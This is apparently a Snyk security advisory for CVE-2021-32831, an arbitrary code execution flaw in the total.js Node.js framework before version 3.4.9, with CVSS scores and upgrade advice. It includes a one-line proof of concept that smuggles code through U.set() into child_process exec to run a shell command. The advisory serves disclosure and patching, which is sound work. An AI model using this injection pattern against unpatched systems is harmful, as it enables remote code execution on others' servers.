Arbitrary Code Execution Affecting total.js package, versions <3.4.9


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.61% (80th percentile)

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  • Snyk ID SNYK-JS-TOTALJS-1088607
  • published 7 Jul 2021
  • disclosed 24 Mar 2021
  • credit Alessio Della Libera (@d3lla), Agustin Gianni

How to fix?

Upgrade total.js to version 3.4.9 or higher.

Overview

total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the U.set() and U.get() functions.

PoC by Alessio Della Libera

const total = require('total.js');
U.set({}, 'a;let {mainModule}=process; let {require}=mainModule; let {exec}=require("child_process"); exec("touch HACKED")//');

NOTE: This vulnerability has also been identified as: CVE-2021-32831

CVSS Scores

version 3.1
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Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

9.8 critical